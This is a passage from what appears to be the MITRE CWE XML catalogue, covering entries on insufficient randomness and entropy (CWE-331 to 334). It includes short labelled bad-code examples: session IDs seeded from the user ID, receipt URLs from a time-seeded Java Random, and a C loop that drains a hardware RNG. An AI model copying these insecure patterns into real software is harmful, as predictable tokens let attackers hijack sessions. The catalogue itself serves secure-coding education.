				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Access Control</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not use the rand() function for generating pseudorandom
						numbers</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC30-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Brute Force </Mapped_Node_Name>
					          <Mapped_Node_ID>11</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Credential/Session Prediction </Mapped_Node_Name>
					          <Mapped_Node_ID>18</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Generate strong random numbers</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not use the rand() function for generating pseudorandom
						numbers</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC30-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure your random number generator is properly
						seeded</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>112</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>281</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Background_Details, Relationships, Other_Notes,
						Relationship_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Likelihood_of_Exploit, Other_Notes,
						Potential_Mitigations, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Observed_Examples, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Detection_Factors,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Randomness and
						Predictability</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="331" Name="Insufficient Entropy" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses an algorithm or scheme that produces
					insufficient entropy, leaving patterns or clusters of values that are more
					likely to occur than others.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could guess the random numbers generated and could gain
							unauthorized access to a system if the random numbers are used for
							authentication and authorization.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Determine the necessary entropy to adequately provide for randomness
							and predictability. This can be achieved by increasing the number of
							bits of objects such as keys and seeds.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-45">
					          <Intro_Text>This code generates a unique random identifier for a user's
						session.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> function generateSessionID($userID){</Code>
							              <Block>
								                <Code> srand($userID);</Code>
								                <Code> return rand();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because the seed for the PRNG is always the user's ID, the session ID
							will always be the same. An attacker could thus predict any user's
							session ID and potentially hijack the session.</Text>
						            <Text>This example also exhibits a Small Seed Space (CWE-339).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-46">
					          <Intro_Text>The following code uses a statistical PRNG to create a URL for a
						receipt that remains active for some period of time after a
						purchase.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String GenerateReceiptURL(String baseUrl) {</Code>
							              <Block>
								                <Code>Random ranGen = new Random();</Code>
								                <Code>ranGen.setSeed((new Date()).getTime());</Code>
								                <Code>return(baseUrl + ranGen.nextInt(400000000) + ".html");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code uses the Random.nextInt() function to generate "unique"
							identifiers for the receipt pages it generates. Because Random.nextInt()
							is a statistical PRNG, it is easy for an attacker to guess the strings
							it generates. Although the underlying design of the receipt system is
							also faulty, it would be more secure if it used a random number
							generator that did not produce predictable receipt identifiers, such as
							a cryptographic PRNG.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0950</Observed_Example_Reference>
					          <Observed_Example_Description>Insufficiently random data used to generate
						session tokens using C rand(). Also, for certificate/key generation, uses a
						source that does not block when entropy is
						low.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-9">
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Author>Gary McGraw</Reference_Author>
					          <Reference_Title>Building Secure Software: How to Avoid Security Problems the
						Right Way</Reference_Title>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insufficient Entropy</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Brute Force </Mapped_Node_Name>
					          <Mapped_Node_ID>11</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="332" Name="Insufficient Entropy in PRNG" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The lack of entropy available for, or used by, a Pseudo-Random
					Number Generator (PRNG) can be a stability and security
					threat.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>331</Relationship_Target_ID>
					          <!--Insufficient Entropy-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a pseudo-random number generator is using a limited entropy source
							which runs out (if the generator fails closed), the program may pause or
							crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a PRNG is using a limited entropy source which runs out, and the
							generator fails open, the generator could produce predictable random
							numbers. Potentially a weak source of random numbers could weaken the
							encryption method used for authentication of users.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use products or modules that conform to FIPS 140-2 [R.332.1] to avoid
							obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random
							Number Generators").</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider a PRNG that re-seeds itself as needed from high-quality
							pseudo-random output, such as hardware devices.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When deciding which PRNG to use, look at its sources of entropy.
							Depending on what your security needs are, you may need to use a random
							number generator that always uses strong random data -- i.e., a random
							number generator that attempts to be strong but will fail in a weak way
							or will always provide some middle ground of protection through
							techniques like re-seeding. Generally, something that always provides a
							predictable amount of strength is preferable.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.332.1">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Insufficient entropy in PRNG</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Generate strong random numbers</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="333" Name="Improper Handling of Insufficient Entropy in TRNG" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>True random number generators (TRNG) generally have a limited
					source of entropy and therefore can fail or block.</Description_Summary>
				        <Extended_Description>
					          <Text>The rate at which true random numbers can be generated is limited. It is
						important that one uses them only when they are needed for security.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>331</Relationship_Target_ID>
					          <!--Insufficient Entropy-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>A program may crash or block if it runs out of random numbers.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Rather than failing on a lack of random numbers, it is often
							preferable to wait for more numbers to be created.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code uses a TRNG to generate a unique session id for new
						connections to a server:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>while (1){</Code>
							              <Block>
								                <Code>if (haveNewConnection()){</Code>
								                <Block>
									                  <Code>if (hwRandom()){</Code>
									                  <Block>
										                    <Code>int sessionID = hwRandom();</Code>
										                    <Code>createNewConnection(sessionID);</Code>
									                  </Block>
									                  <Code>} } }</Code>
								                </Block>
							              </Block>
						            </Block>
						            <Text>This code does not attempt to limit the number of new connections or
							make sure the TRNG can successfully generate a new random number. An
							attacker may be able to create many new connections and exhaust the
							entropy of the TRNG. The TRNG may then block and cause the program to
							crash or hang. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure of TRNG</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Generate strong random numbers</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure of
						TRNG</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Handle
						Insufficient Entropy in TRNG</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="334" Name="Small Space of Random Values" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The number of possible random values is smaller than needed by
					the product, making it more susceptible to brute force
					attacks.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
